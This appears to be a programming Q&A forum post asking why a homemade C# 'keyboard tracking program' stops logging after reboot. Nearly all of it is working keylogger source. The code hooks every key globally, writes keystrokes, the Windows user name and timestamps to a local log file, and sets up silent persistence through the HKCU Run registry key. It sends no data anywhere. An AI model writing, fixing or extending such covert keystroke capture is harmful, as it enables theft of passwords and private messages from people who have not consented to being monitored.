Keyboard tracking is not working properly during restart
<p>I have written a keyboard tracking program it reads keys pressed and writen as a log file.Its works fine but my problem is i have build it for working from startup</p>

<blockquote>
  <p>Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  true).SetValue("startup", Application.ExecutablePath.ToString());</p>
</blockquote>

<p>but its process sucessfully listed in process list but key tracking is not working
properly the log file is not updating during restaring of computer</p>

<pre><code>private void Form1_Load(object sender, EventArgs e)
{
      StreamWriter SW;

      this.SetStartup();

      gkh.KeyDown += new KeyEventHandler(Form1_KeyDown);
      this.HookAll();
      if (File.Exists("log.txt"))
      {
            SW = new StreamWriter("log.txt", true);
            SW.Write(SW.NewLine);
            SW.Write(SW.NewLine);
            SW.Write(DateTime.Now.ToString("dd / MM / yyyy"));
            SW.Write(DateTime.Now.ToLongTimeString());
            SW.Write(SW.NewLine);
            SW.Write(DateTime.Now.ToString("ddddd"));
            SW.Write(SW.NewLine);
            SW.Write(SW.NewLine);
            SW.Close();
      }
      else
      {
            SW = new StreamWriter("log.txt", true);
            SW.Write(SW.NewLine);
            SW.Write(WindowsIdentity.GetCurrent().Name);
            SW.Write(SW.NewLine);
            SW.Write(DateTime.Now.ToLongTimeString());
            SW.Write(SW.NewLine);
            SW.Write(DateTime.Now.ToString("ddddd"));
            SW.Write(SW.NewLine);
            SW.Write(DateTime.Now.ToString("dd / MM / yyyy"));
            SW.Write(SW.NewLine);
            SW.Close();
      }
}

private void SetStartup()
{
      Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true).SetValue("startup", Application.ExecutablePath.ToString());
}
private void HookAll()
{
      foreach (object key in Enum.GetValues(typeof(Keys)))
      {
            this.gkh.HookedKeys.Add((Keys)key);
      }
}


private void Form1_KeyDown(object sender, KeyEventArgs e)
{
      i++;
      string s = " ";

      StreamWriter SW = new StreamWriter("log.txt", true);
      switch (e.KeyCode)
      {

            case Keys.D1:
                  if (c != 0)
                  { SW.Write("!"); }
                  c = 0;
                  break;

            case Keys.D2:
                  if (c != 0)
                  { SW.Write("@"); }
                  c = 0;
                  break;
            case Keys.D3:
                  if (c != 0)
                  { SW.Write("#"); }
                  c = 0;
                  break;
            case Keys.D4:
                  if (c != 0)
                  { SW.Write("$"); }
                  c = 0;
                  break;
            case Keys.D5:
                  if (c != 0)
                  { SW.Write("%"); }
                  c = 0;
                  break;
            case Keys.D6:
                  if (c != 0)
                  { SW.Write("^"); }
                  c = 0;
                  break;
            case Keys.D7:
                  if (c != 0)
                  { SW.Write("&amp;amp;"); }
                  c = 0;
                  break;
            case Keys.D8:
                  if (c != 0)
                  { SW.Write("*"); }
                  c = 0;
                  break;
            case Keys.D9:
                  if (c != 0)
                  { SW.Write("("); }
                  c = 0;
                  break;
            case Keys.D0:
                  if (c != 0)
                  { SW.Write(")"); }
                  c = 0;
                  break;

            case Keys.Space:
                  SW.Write(" ");
                  break;

            case Keys.Enter:
                  SW.Write(Environment.NewLine);
                  break;
            case Keys.OemPeriod:
                  SW.Write(".");
                  break;

            case Keys.LMenu:
                  SW.Write("{ALT}");
                  break;

            case Keys.Oem7:
                  SW.Write("'");
                  break;
            case Keys.RShiftKey:
                  SW.Write("");
                  c++;
                  break;
            case Keys.Oemcomma:
                  SW.Write(",");
                  break;
            case Keys.LShiftKey:
                  SW.Write("");
                  c++;
                  break;
            case Keys.NumPad0:
                  SW.Write("0");
                  break;
            case Keys.NumPad1:
                  SW.Write("1");
                  break;
            case Keys.NumPad2:
                  SW.Write("2");
                  break;
            case Keys.NumPad3:
                  SW.Write("3");
                  break;
            case Keys.NumPad4:
                  SW.Write("4");
                  break;
            case Keys.NumPad5:
                  SW.Write("5");
                  break;
            case Keys.NumPad6:
                  SW.Write("6");
                  break;
            case Keys.NumPad7:
                  SW.Write("7");
                  break;
            case Keys.NumPad8:
                  SW.Write("8");
                  break;
            case Keys.NumPad9:
                  SW.Write("9");
                  break;


            default:
                  if (Control.ModifierKeys != Keys.Shift)
                  {
                        SW.Write(e.KeyCode.ToString().ToLower());
                  }
                  else
                  {
                        SW.Write(e.KeyCode);
                  }
                  break;
      }
      if (this.i == 80)
      {
            SW.Write(SW.NewLine);
            this.i = 0;
      }
      SW.Close();
}
</code></pre>
